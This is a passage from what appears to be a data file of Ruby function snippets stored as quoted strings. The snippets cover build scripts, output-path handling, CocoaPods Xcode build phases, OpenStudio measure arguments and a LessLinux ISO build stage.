make\")\nend", "def gen_sub_directories\n @outputdir.mkpath\n end", "def version_input_paths\n @version_input_paths ||= Hash[ version_input_path_keys.map{ |v, k| [ v, instance_variable_get(:\"@#{k}\") ] } ]\n end", "def build_env_bat\n connector_dir = File.join(@mysql_dir, 'lib')\n env = {mysql_lib: to_windows_path(connector_dir)}\n\n print 'ruby.exe location: '; env[:ruby_bin] = read_path\n print '7z.exe location: '; env[:zip_bin] = read_path\n print 'wincmp3.exe location: '; env[:compare_bin] = read_path\n puts\n\n FileUtils.cd(FRAMEWORK_ROOT) { File.write('env.bat', ENV_BAT_TEMPLATE % env) }\n end", "def add_copy_dsyms_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_dsyms_script_path.relative_path_from(target.sandbox.root)}\"\n dsym_paths = PodTargetInstaller.dsym_paths(target)\n bcsymbolmap_paths = PodTargetInstaller.bcsymbolmap_paths(target)\n\n if dsym_paths.empty? && bcsymbolmap_paths.empty?\n script_phase = native_target.shell_script_build_phases.find do |bp|\n bp.name && bp.name.end_with?(UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME)\n end\n native_target.build_phases.delete(script_phase) if script_phase.present?\n return\n end\n\n phase_name = UserProjectIntegrator::TargetIntegrator::BUILD_PHASE_PREFIX + UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME\n phase = UserProjectIntegrator::TargetIntegrator.create_or_update_shell_script_build_phase(native_target, phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n input_file_list_path = target.copy_dsyms_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = []\n input_paths.concat([dsym_paths, *bcsymbolmap_paths].flatten.compact)\n\n output_file_list_path = target.copy_dsyms_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths = output_paths_by_config[output_paths_key] = []\n\n dsym_output_paths = dsym_paths.map { |dsym_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(dsym_path)}\" }\n bcsymbolmap_output_paths = bcsymbolmap_paths.map { |bcsymbolmap_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(bcsymbolmap_path)}\" }\n output_paths.concat([dsym_output_paths, *bcsymbolmap_output_paths].flatten.compact)\n end\n\n UserProjectIntegrator::TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def spawn_args\n result = Array.new\n unless environment.empty?\n result << environment\n end\n result.concat(command_line)\n opts = Hash.new\n opts[:chdir] = directory.to_s unless directory.nil?\n opts[:pgroup] = pgroup unless pgroup.nil?\n opts[:umask] = umask unless umask.nil?\n opts[:unsetenv_others] = unsetenv_others unless unsetenv_others.nil?\n opts[:close_others] = close_others unless close_others.nil?\n rlimit.each do |key, value|\n opts[\"rlimit_#{key}\".to_sym] = value\n end\n redirection.each do |key, value|\n opts[key] = value\n end\n result << opts\n result\n end", "def desired_contents\n @environments.map {|env| env.dirname }\n end", "def build_root\n Pathname.new(ENV[\"OBJDIR\"] || \"build\")\n end", "def outputFN( input )\n # First: if we are in a temp folder put it where the script is... \n # otherwise we drop it in the temp folder. This only happens with OCRA.\n tmp = /\\W(temp|tmp)\\W/i\n inreg = /\\Win(put)?$/i\n\n if File.dirname( input ) =~ inreg\n File.expand_path( File.join( File.dirname( input ), \"..\", \"out\" , File.basename( input, \".py\" ) ) )\n elsif tmp =~ File.dirname( __FILE__ )\n if tmp =~ File.dirname( input )\n \"\" # they can choose a directory manually\n else\n File.join File.dirname( input ), File.basename( input, \".py\" )\n end\n else\n File.join File.dirname( __FILE__ ), \"out\", File.basename( input, \".py\" ) \n end\nend", "def install_env_script(opts={})\n target = opts[:to] || raise(\"Need :to parameter\")\n\n script = 'env.sh'\n dirs = { 'PATH' => { 'insert' => path_dirs_for_distro(:couch_too => true),\n 'append' => [] },\n }\n\n # XXX: Code duplication from :configure.\n dirs['DYLD_LIBRARY_PATH'] = {'insert' => [\"#{target}/lib\"]} if DISTRO[0] == :osx\n\n template = ERB.new(File.open(\"#{HERE}/templates/#{script}.erb\").read())\n FileUtils.mkdir_p(target)\n File.open(\"#{target}/#{script}\", 'w') do |outfile|\n outfile.write(template.result(binding))\n outfile.close\n end\nend", "def prepareDirectory( outputfn )\n scriptpath = File.dirname __FILE__\n cf = File.join scriptpath, \"conversion_files\"\n i = 0 \n max = 3\n\n print \"#\"*40, \"\\n\", \"Preparing Directory\\n\", \"#\"*40, \"\\n\\n\"\n\n phasePrint \"Create Base Folder / Check Dependencies\", i+=1, max\n # Make our base directory\n if not Dir.exists? outputfn\n FileUtils.mkdir_p outputfn\n end\n\n # See if our conversion_files folder exists, this is required\n if not Dir.exists? cf \n error \"Missing conversion_files folder:\\n#{cf}\\n\\nThe conversion process cannot continue.\"\n return nil\n end\n\n # Check for the python cache extracted folder\n if not Dir.exists? File.join( cf, \"python27\" ) and $options[:python]\n if not File.exists? cf+\"python27.zip\"\n error \"Missing packaged Python 2.7.8 installation folder or zip in conversion_files, this is required for the \\\"Include Python\\\"//\\\"--python\\\" option.\\n\\nThe conversion process cannot continue.\"\n return nil\n else\n # Extract our python27.zip folder\n phasePrint \"Extracting Python\", i+=0.5, max\n error \"Extracting python27.zip, this may take some time.\\n\\nIt is quicker to extract this by hand into the conversion_files folder using 7-zip or Peazip, as they are capable of using multiple cores.\"\n unzip \"#{cf}python27.zip\", cf\n end\n end\n\n i = i.floor if i.is_a? Float\n phasePrint \"Copying Python to Output Folder\", i+=1, max\n print \" This will take some time\\n\"\n # Copy Python over to the directory\n if not Dir.exists? File.join( outputfn, \"python27\" ) and $options[:python]\n FileUtils.cp_r File.join( cf, \"python27\" ), outputfn\n end\n\n phasePrint \"Initializing File Structure\", i+=1, max\n FileUtils.cp File.join( cf, \"run.bat\" ), outputfn\n\n FileUtils.cp_r File.join( cf, \"includes\" ), outputfn\n\n return File.new( File.join( outputfn, \"run_test.py\" ), \"w+:UTF-8\" )\nend", "def add_copy_resources_script_phase\n unless target.includes_resources?\n native_targets.each do |native_target|\n TargetIntegrator.remove_copy_resources_script_phase_from_target(native_target)\n end\n return\n end\n\n script_path = target.copy_resources_script_relative_path\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths\n target.resource_paths_by_config.each do |config, resource_paths|\n input_paths_key = XCFileListConfigKey.new(target.copy_resources_script_input_files_path(config),\n target.copy_resources_script_input_files_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + resource_paths\n\n output_paths_key = XCFileListConfigKey.new(target.copy_resources_script_output_files_path(config),\n target.copy_resources_script_output_files_relative_path)\n output_paths_by_config[output_paths_key] = TargetIntegrator.resource_output_paths(resource_paths)\n end\n end\n\n native_targets.each do |native_target|\n # Static library targets cannot include resources. Skip this phase from being added instead.\n next if native_target.symbol_type == :static_library\n TargetIntegrator.create_or_update_copy_resources_script_phase_to_target(native_target, script_path,\n input_paths_by_config,\n output_paths_by_config)\n end\n end", "def output_dir(vm_name, build_type)\n unless build_type == 'base'\n File.join('./output/', \"#{vm_name}-virtualbox\")\n else\n File.join('./output/', \"#{vm_name}-base-virtualbox\")\n end\nend", "def build_environment_resources(environment, system_exec)\n puts \"Building all required resources for environment '#{environment.environment_name}'\"\n\n if environment.is_drupal_environment?\n build_css_and_js_for_drupal\n environment.create_template_resources\n end\n\n copy_project_dependencies_for_awestruct_image\n build_base_docker_images(environment, system_exec)\n build_environment_docker_images(environment, system_exec)\n\nend", "def env_path\n @bin_resolver.env_path\n end", "def gen_sub_directories\n\t\t@outputdir.mkpath\n\tend", "def gen_sub_directories\n\t\t@outputdir.mkpath\n\tend", "def create_or_update_copy_xcframeworks_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + COPY_XCFRAMEWORKS_PHASE_NAME)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n reorder_script_phase(native_target, phase, :before_compile)\n end", "def arguments\n args = OpenStudio::Measure::OSArgumentVector.new\n\n # make an argument for the variable name\n variable_name = OpenStudio::Measure::OSArgument.makeStringArgument('variable_name', true)\n variable_name.setDisplayName('Enter Variable Name.')\n variable_name.setDescription('Valid values can be found in the eplusout.rdd file after a simulation is run.')\n args << variable_name\n\n # make an argument for the electric tariff\n reporting_frequency_chs = OpenStudio::StringVector.new\n reporting_frequency_chs << 'Detailed'\n reporting_frequency_chs << 'Timestep'\n reporting_frequency_chs << 'Zone Timestep'\n reporting_frequency_chs << 'Hourly'\n reporting_frequency_chs << 'Daily'\n reporting_frequency_chs << 'Monthly'\n reporting_frequency_chs << 'Runperiod'\n reporting_frequency = OpenStudio::Measure::OSArgument.makeChoiceArgument('reporting_frequency', reporting_frequency_chs, true)\n reporting_frequency.setDisplayName('Reporting Frequency.')\n reporting_frequency.setDefaultValue('Hourly')\n args << reporting_frequency\n\n # make an argument for the key_value\n key_value = OpenStudio::Measure::OSArgument.makeStringArgument('key_value', true)\n key_value.setDisplayName('Enter Key Name.')\n key_value.setDescription('Enter * for all objects or the full name of a specific object to.')\n key_value.setDefaultValue('*')\n args << key_value\n\n env = OpenStudio::Measure::OSArgument.makeStringArgument('env', true)\n env.setDisplayName('availableEnvPeriods')\n env.setDescription('availableEnvPeriods')\n env.setDefaultValue('RUN PERIOD 1')\n args << env\n\n args\n end", "def options_build\n @prod_options = \"--port #{@prod_port} --log #{@prod_log} --pid #{@prod_pid} -e production -d\"\n @dev_options = \"--port #{@dev_port} --log #{@dev_log} --pid #{@dev_pid} -e development -d\"\nend", "def get_all_path\n # some default directories\n env_paths = []\n env_paths << \"/bin\"\n env_paths << \"/usr/bin\"\n env_paths << \"/usr/local/bin\"\n env_paths << \"/sbin\"\n env_paths << \"/usr/sbin\"\n env_paths << \"/usr/local/sbin\"\n env_paths << \"/opt/bin\"\n env_paths += cmd_exec(\"echo $PATH\").split(\":\")\n env_paths.uniq\n end", "def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n #make an argument for the variable name\n variable_name = OpenStudio::Ruleset::OSArgument::makeStringArgument(\"variable_name\",true)\n variable_name.setDisplayName(\"Enter Variable Name.\")\n variable_name.setDescription(\"Valid values can be found in the eplusout.rdd file after a simulation is run.\")\n args << variable_name\n \n #make an argument for the electric tariff\n reporting_frequency_chs = OpenStudio::StringVector.new\n reporting_frequency_chs << \"Detailed\"\n reporting_frequency_chs << \"Timestep\"\n reporting_frequency_chs << \"Zone Timestep\"\n reporting_frequency_chs << \"Hourly\"\n reporting_frequency_chs << \"Daily\"\n reporting_frequency_chs << \"Monthly\"\n reporting_frequency_chs << \"Runperiod\"\n reporting_frequency = OpenStudio::Ruleset::OSArgument::makeChoiceArgument('reporting_frequency', reporting_frequency_chs, true)\n reporting_frequency.setDisplayName(\"Reporting Frequency.\")\n reporting_frequency.setDefaultValue(\"Hourly\")\n args << reporting_frequency\n\n #make an argument for the key_value\n key_value = OpenStudio::Ruleset::OSArgument::makeStringArgument(\"key_value\",true)\n key_value.setDisplayName(\"Enter Key Name.\")\n key_value.setDescription(\"Enter * for all objects or the full name of a specific object to.\")\n key_value.setDefaultValue(\"*\")\n args << key_value\n \n env = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"env\", true)\n env.setDisplayName(\"availableEnvPeriods\")\n env.setDescription(\"availableEnvPeriods\")\n env.setDefaultValue(\"RUN PERIOD 1\")\n args << env\n \n return args\n end", "def run_stage_three\n\tstage_three_dirs = [ \"/stage03\", \"/stage03/initramfs\", \"/stage03/build\", \"/stage03/squash\", \"/stage03/cdmaster\" ]\n\tstage_three_dirs.each { |d|\n\t\tif File.exists?(@builddir + d)\n\t\t\tputs sprintf(\"%015.4f\", Time.now.to_f) +\n\t\t\t\t\" error > Please remove the directories \" + \n\t\t\t\tstage_three_dirs.join(\" \") + \" in \" + @builddir + \" first!\"\n\t\t\t$stdout.flush\n\t\t\traise \"SomeDirectoriesTooMuch\"\n\t\tend\n\t}\n\tstage_three_dirs.each { |d|\n\t\tunless File.exists?(@builddir + d)\n\t\t\tDir.mkdir(@builddir + d)\n\t\tend\n\t}\n\t# Stage 03 (Bau des Initramfs und der Container) abfruehstuecken\n\t# Alle Scripte in Stage03 suchen\n\n\tstage_three_scripts = []\n\tstage_three_objs = []\n\tDir.foreach(\"scripts/stage03\") { |f|\n\t\t# fcomps = File.split(f)\n\t\tif (f =~ /\\d+.*\\.xml$/ )\n\t\t\tif @unstable == true && File.exists?(\"scripts/stage03.unstable/\" + f)\n\t\t\t\tstage_three_scripts.push(f)\n\t\t\telse\n\t\t\t\tstage_three_scripts.push(f)\n\t\t\tend\n\t\tend\n\t}\n\tunless @nonfree.nil?\n\t\tDir.foreach(@nonfree + \"/scripts/stage03\") { |f|\n\t\t\tif (f =~ /\\d+.*\\.xml$/ )\n\t\t\t\tif @unstable == true && File.exists?(@nonfree + \"scripts/stage03.unstable/\" + f)\n\t\t\t\t\tstage_three_scripts.push(f)\n\t\t\t\telse\n\t\t\t\t\tstage_three_scripts.push(f)\n\t\t\t\tend\n\t\t\tend\n\t\t}\n\tend\n\tpkg_list = nil\n\tpkg_list = read_pkglist(@pkg_list_file) unless @pkg_list_file.nil?\n\tdebug_pkglist = File.new(@builddir + \"/tmp/lesslinux_\" + @build_timestamp + \"_all_packages.txt\", 'w') \n\tdebug_skipped = File.new(@builddir + \"/tmp/lesslinux_\" + @build_timestamp + \"_skipped_packages.txt\" , 'w')\n\tstage_three_scripts.sort.each { |i| \n\t\t# puts sprintf(\"%015.4f\", Time.now.to_f) + \" info > Parsing \" + i\n\t\t# $stdout.flush\n\t\tthis_stage_three_obj = ThirdStage.new(i, @srcdir, @builddir, @unpriv, \"stage03\", @dbh, @unstable, @sqlite, @skiplist, @legacy, Array.new, Array.new, true, @nonfree, @mirror ) \n\t\tstage_two_found = true\n\t\tif this_stage_three_obj.pkg_version.nil?\n\t\t\tfvers = nil\n\t\t\t@stage_two_objs.each { |i| fvers = i.pkg_version if this_stage_three_obj.pkg_name.strip == i.pkg_name.strip }\n\t\t\tthis_stage_three_obj.fix_version(fvers)\n\t\tend\n\t\tdebug_pkglist.write(this_stage_three_obj.pkg_name + \"\\n\")\n\t\tif pkg_list.nil? || pkg_list.include?(this_stage_three_obj.pkg_name) \n\t\t\tstage_three_objs.push(this_stage_three_obj)\n\t\telse\n\t\t\tdebug_skipped.write(this_stage_three_obj.pkg_name + \"\\n\")\n\t\tend\t\t\n\t}\n\tdebug_pkglist.close\n\tdebug_skipped.close\n\t# Download first\n\tstage_three_objs.each { |i| i.download }\n\t# Calculate dependencies\n\tadditional_dependencies = Array.new\n\tprovided_libs = Array.new\n\tprovided_links = Array.new\n\tstage_three_objs.each { |i|\n\t\tdeps = i.calculate_deps\n\t\tlibs = i.show_libs\n\t\tlinks = i.show_links\n\t\tadditional_dependencies = additional_dependencies + deps\n\t\tprovided_libs = provided_libs + libs\n\t\tprovided_links = provided_links + links\n\t\t#puts \"foreign deps for \" + i.pkg_name + \" \" + deps.join(\", \")\n\t}\n\t\n\t#puts \"=== Dumping deps\"\n\t#additional_dependencies.each { |a|\n\t#\tputs a\n\t#}\n\t#puts \"=== Found links\"\n\t#provided_links.each { |a|\n\t#\tputs a\n\t#}\n\t\n\t# raise \"DebugBreakPoint\"\n\tadditional_dependencies.uniq!\n\tstill_required_libs = additional_dependencies.clone\n\tadditional_dependencies.each { |i|\n\t\tprovided_libs.each { |l|\n\t\t\tunless l.index(i).nil?\n\t\t\t\tstill_required_libs.delete(i)\n\t\t\tend\n\t\t}\n\t\tprovided_links.each { |l|\n\t\t\tunless l.index(i).nil?\n\t\t\t\tstill_required_libs.delete(i)\n\t\t\tend\n\t\t}\n\t}\n\n\tlibs_stage_two = Array.new\n\tlinks_stage_two = Array.new\n\treally_unmet_deps = still_required_libs.clone\n\tadditional_deps = Array.new\n\t@stage_two_objs.each { |i|\n\t\tstill_required_libs.each { |j|\n\t\t\ti.show_libs.each { |k|\n\t\t\t\tprovided_file = File.split(k)[1]\n\t\t\t\t# puts \"GCC contains \" + provided_file if i.pkg_name == \"gcc\"\n\t\t\t\t#if provided_file.index(j) == 0 || j.index(provided_file) == 0\n\t\t\t\t#\treally_unmet_deps.delete(j)\n\t\t\t\t#\tadditional_deps.push(i)\n\t\t\t\t#\tputs \"Found required lib: \" + j + \" as \" + provided_file + \" in stage two package \" + i.pkg_name\n\t\t\t\t#end\n\t\t\t\tunless k.index(j).nil?\n\t\t\t\t\treally_unmet_deps.delete(j)\n\t\t\t\t\tadditional_deps.push(i)\n\t\t\t\t\tputs sprintf(\"%015.4f\", Time.now.to_f) + \" info > Found required lib: \" + j + \" in stage two package \" + i.pkg_name\n\t\t\t\t\t$stdout.flush\n\t\t\t\tend\n\t\t\t}\n\t\t}\n\t\tlinks = i.show_links\n\t}\n\n\tadditional_names = additional_deps.collect { |x| x.pkg_name + \"-\" + x.pkg_version }\n\tputs sprintf(\"%015.4f\", Time.now.to_f) + \" info > Adding required packages (minimal): \" + additional_names.uniq.join(\", \")\n\tputs sprintf(\"%015.4f\", Time.now.to_f) + \" info > Still unmet dependencies: \" + really_unmet_deps.uniq.join(\", \")\n\t$stdout.flush\n\t\n\t# Now check for stage03 objects that do not have corresponding - i.e. name and \n\t# version matches - stage02 objects\n\t\n\tstage2missing = Array.new\n\t\n\tstage_three_objs.each { |i|\n\t\tvers_match = false\n\t\t@stage_two_objs.each { |j| vers_match = true if i.pkg_name == j.pkg_name && i.pkg_version == j.pkg_version }\n\t\tvers_match = true if i.allowfail == true\n\t\tif vers_match == false \n\t\t\tstage2missing.push(i.pkg_name + \" \" + i.pkg_version)\n\t\tend\n\t\t# raise \"CorrespondingStage2Missing\" if vers_match == false \n\t}\n\t\n\tif stage2missing.size > 0\n\t\tstage2missing.each { |i|\n\t\t\tputs sprintf(\"%015.4f\", Time.now.to_f) + \" error > \" + i + \" matching stage2 package missing!\"\n\t\t}\n\t\t$stdout.flush\n\t\traise \"CorrespondingStage2Missing\"\n\tend\n\n\t# If a full install is selected, instead of doing a package install\n\tif @full_image == true\n\t\tThirdStage.full_install(@builddir)\n\tend\n\n\t# Retrieve the list of files to skip\n\tskipfiles, skipdirs = ThirdStage.read_skiplist(@skiplist)\n\n\t# raise \"DebugBreakPoint\"\n\t# Install all regularily selected stage 03 packages\n\n\tpkglist = File.new(@builddir + \"/stage03/pkglist.txt\", \"w\")\n\tstage_three_objs.each { |i|\n\t\t\n\t\ti.makedirs\n\t\ti.touchfiles\n\t\ti.scriptgen\n\t\ti.assemble_modules(@kernel_file, @modmodel)\n\t\ti.unpack\n\t\t\n\t\t### Dir.chdir(@workdir)\n\t\ti.install\n\t\t### Dir.chdir(@workdir)\n\t\ti.pkg_install( [\"minimal\",\"bin\",\"config\",\"localization\",\"tzdata\",\"uncategorized\",\"skel\"], [\"de\", \"en\"], skipfiles, skipdirs) unless @full_image == true\n\t\tpkglist.write(\"full\\t\" + i.pkg_name + \"\\t\" + i.pkg_version + \"\\n\")\n\t\t### Dir.chdir(@workdir)\n\t}\n\t# Create temporary buildscripts for stage02 packages not yet included\n\tadditional_deps.uniq.each { |a|\n\t\ta.dump_stage03_script\n\t\tdep = ThirdStage.new(\"added-dependency-\" + a.pkg_name + \".xml\", @srcdir, @builddir, @unpriv, \"stage03\", @dbh, @unstable, @sqlite, @skiplist, @legacy, Array.new, Array.new, true, @nonfree)\n\t\tdep.unpack\n\t\t### Dir.chdir(@workdir)\n\t\tdep.install\n\t\t### Dir.chdir(@workdir)\n\t\tdep.pkg_install( [\"minimal\",\"localization\" ], [\"de\", \"en\"], skipfiles, skipdirs) unless @full_image == true\n\t\t### Dir.chdir(@workdir)\n\t\tpkglist.write(\"mini\\t\" + a.pkg_name + \"\\t\" + a.pkg_version + \"\\n\")\n\t}\n\tpkglist.close\n\t\n\t# raise \"DebugBreakPoint\"\n\t# ThirdStage.create_softlinks(@builddir, @dbh)\n\tThirdStage.create_softlinks_ng(@builddir, @dbh) unless @full_image == true\n\tThirdStage.copy_firmware(@builddir)\n\t# raise \"DebugBreakPoint\"\n\tThirdStage.sync_root_overlay(@builddir, @overlays + \"/rootfs\")\n\tif @singlecontainer == true\n\t\tThirdStage.create_single_squashfs(@builddir, @kernel_file)\n\telse\n\t\tThirdStage.create_squashfs(@builddir, @kernel_file)\n\tend\n\t\n\t# include branding\n\tThirdStage.write_branding(@builddir, @branding, @brand_file, @build_timestamp)\n\tThirdStage.sync_overlay(@builddir, @overlays + \"/initramfs\")\n\tsystem(\"mv \\\"\" + @builddir + \"/stage03/pkglist.txt\\\" \\\"\" + @builddir + \"/stage03/initramfs/etc/lesslinux/\\\"\")\n\t#raise \"DebugBreakPoint\"\n\t\n\t# Build the initramfs' for kernel version independent stuff\n\tinitramfs_assembly = InitramfsAssembly.new(@srcdir, @builddir, @dbh, \"config/initramfs.xml\")\n\tinitrd_location = initramfs_assembly.build\n\n\t# Build the initramfs for kernel modules\n\tmod_locations = initramfs_assembly.assemble_modules(@kernel_file, @modmodel)\n\n\t# Synchronize Kernel and initramfs for modules to the CD build directory \n\t# Build the ISO-Image\n\tbootable = BootdiskAssembly.new(@srcdir, @builddir, @dbh, \"config/initramfs.xml\", @build_timestamp, @branding, @overlays, @full_image, @grub)\n\tBootdiskAssembly.sync_overlay(@builddir, @overlays + \"/bootdisk\")\n\tBootdiskAssembly.copy_version(@builddir)\n\t#raise \"DebugBreakPoint\"\n\tunless @skip_stages.include?(\"bootconf\")\n\t\tbootable.create_isoimage(@kernel_file, true)\n\telse\n\t\tbootable.create_isoimage(@kernel_file, false)\n\tend\n\t# clean up, remove added dependencies:\n\tsystem(\"rm scripts/stage03/added-dependency-*\")\n\t\nend", "def to_output_path(output_path) #:nodoc:\n unless @output_path\n if output_path\n @output_path = output_path\n else \n @output_path = parse_nil_path(@input)\n end\n @args << \"--output\"\n @args << @output_path\n end\n end", "def modify_out_file_in_args(process_number)\n @args[out_file_position] = \"#{out_file_parent_dir}/#{out_file_basename}.#{process_number}#{File.extname(out_file)}\"\n @options = RSpec::Core::ConfigurationOptions.new(@args)\n end", "def step2e_sources(path)\n return [path.sub(/^tmp/, 'out/bam').sub(/\\.step2e$/, '.bam')]\nend", "def add_embed_frameworks_script_phase(native_target, spec)\n script_path = \"${PODS_ROOT}/#{target.embed_frameworks_script_path_for_spec(spec).relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n dependent_targets = if spec.test_specification?\n target.dependent_targets_for_test_spec(spec)\n else\n target.dependent_targets_for_app_spec(spec)\n end\n host_target_spec_names = target.app_host_dependent_targets_for_spec(spec).flat_map do |pt|\n pt.specs.map(&:name)\n end.uniq\n framework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.framework_paths.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n xcframework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.xcframeworks.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n\n if use_input_output_paths? && !framework_paths.empty? || !xcframework_paths.empty?\n input_file_list_path = target.embed_frameworks_script_input_files_path_for_spec(spec)\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + UserProjectIntegrator::TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframework_paths)\n\n output_file_list_path = target.embed_frameworks_script_output_files_path_for_spec(spec)\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = UserProjectIntegrator::TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframework_paths)\n end\n\n if framework_paths.empty? && xcframework_paths.empty?\n UserProjectIntegrator::TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def setup\n @executor = NagiosHerald::Executor.new\n @options = {}\n @options[:env] = File.join(File.dirname(__FILE__), '..', 'env_files', 'check_disk.CRITICAL_ICINGA')\n end", "def create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + EMBED_FRAMEWORK_PHASE_NAME)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def job_script_options_file\n staged_root.join(\"job_script_options.json\")\n end", "def get_required_unity_paths\n dir = unity_directory\n exe = unity_executable(dir)\n raise \"No unity executable found in '#{dir}'\" if exe.nil?\n unless File.exists? exe\n raise \"Unity not found at path '#{exe}' - set $UNITY_DIR (full path) or $UNITY_VERSION (loaded via hub) to customize\"\n end\n [dir, exe]\nend", "def get_script_path(name)\n res = ENV['TEST_DIR'] + '/' + name\n\n if !File.exist?(res)\n res = ENV['APP_DIR'] + '/' + name\n end\n\n if !File.exist?(res)\n $stderr.puts \"ERROR: '#{name}' script doesn't exist neither in TEST_DIR or APP_DIR\"\n exit 7\n end\n \n return res\nend", "def build_steps_script_arguments(steps, procedure_steps)\n steps.each_with_index do |step, i|\n Step.build_script_arguments_for(step, procedure_steps[i])\n end\n end", "def common_build\n puts \"common_build dir=#{pwd} #{SHOES_TGT_ARCH}\"\n #mkdir_p \"#{TGT_DIR}/ruby\"\n #cp_r \"#{EXT_RUBY}/lib/ruby/#{RUBY_V}\", \"#{TGT_DIR}/ruby/lib\"\n %w[req/ftsearch/lib/* req/rake/lib/*].each do |rdir|\n FileList[rdir].each { |rlib| cp_r rlib, \"#{TGT_DIR}/lib/ruby/#{TGT_RUBY_V}\" }\n end\n %w[req/ftsearch/ext/ftsearchrt req/chipmunk/ext/chipmunk].\n #%w[req/binject/ext/binject_c req/ftsearch/ext/ftsearchrt req/bloopsaphone/ext/bloops req/chipmunk/ext/chipmunk].\n each { |xdir| copy_ext xdir, \"#{TGT_DIR}/lib/ruby/#{TGT_RUBY_V}/#{SHOES_TGT_ARCH}\" }\n\n gdir = \"#{TGT_DIR}/lib/ruby/gems/#{RUBY_V}\"\n {'hpricot' => 'lib', 'sqlite3' => 'lib'}.each do |gemn, xdir|\n #{'hpricot' => 'lib', 'json' => 'lib/json/ext', 'sqlite3' => 'lib'}.each do |gemn, xdir|\n spec = eval(File.read(\"req/#{gemn}/gemspec\"))\n mkdir_p \"#{gdir}/specifications\"\n mkdir_p \"#{gdir}/gems/#{spec.full_name}/lib\"\n FileList[\"req/#{gemn}/lib/*\"].each { |rlib| cp_r rlib, \"#{gdir}/gems/#{spec.full_name}/lib\" }\n mkdir_p \"#{gdir}/gems/#{spec.full_name}/#{xdir}\"\n FileList[\"req/#{gemn}/ext/*\"].each { |elib| copy_ext elib, \"#{gdir}/gems/#{spec.full_name}/#{xdir}\" }\n cp \"req/#{gemn}/gemspec\", \"#{gdir}/specifications/#{spec.full_name}.gemspec\"\n end\n end", "def build_input_files\n @input_files.map { |file| build_file(file) }\n end", "def validate_paths!\n ensure_clean_build_path!\n ensure_existing_target_path!\n end", "def initialize(params)\n\t\tsuper\n\t\tinputs = ensureArray(requireParam(params, :inputs))\n\t\t@cmd = requireParam(params, :cmd)\n\t\toutputs = ensureArray(requireParam(params, :output)).map {|filepath| if filepath.relative? then canonicalizeFilepath(filepath, Dir.pwd()) else filepath end}\n\t\t\n\t\tinputs.each {|filepath| addPrereq filepath}\n\t\toutputs.each {|filepath| addTarget filepath; BuildEnv::setEntityBuilt filepath}\n\t\toutputs.each {|filepath| BuildEnv::addGeneratedFile filepath}\n\tend", "def pre_build\n puts \"pre_build dir=#{`pwd`}\"\n rbvt = RUBY_V\n rbvm = RUBY_V[/^\\d+\\.\\d+/]\n # remove leftovers from previous rake.\n rm_rf \"#{TGT_DIR}/lib\"\n rm_rf \"#{TGT_DIR}/etc\"\n rm_rf \"#{TGT_DIR}/share\"\n rm_rf \"#{TGT_DIR}/conf.d\"\n mkdir_p \"#{TGT_DIR}/lib\"\n cp_r \"#{EXT_RUBY}/lib/ruby\", \"#{TGT_DIR}/lib\"\n # copy include files\n mkdir_p \"#{TGT_DIR}/lib/ruby/include/ruby-#{rbvt}\"\n cp_r \"#{EXT_RUBY}/include/ruby-#{rbvt}/\", \"#{TGT_DIR}/lib/ruby/include\"\n SOLOCS.each_value do |path|\n cp \"#{path}\", \"#{TGT_DIR}\"\n end\n # do some windows things\n mkdir_p 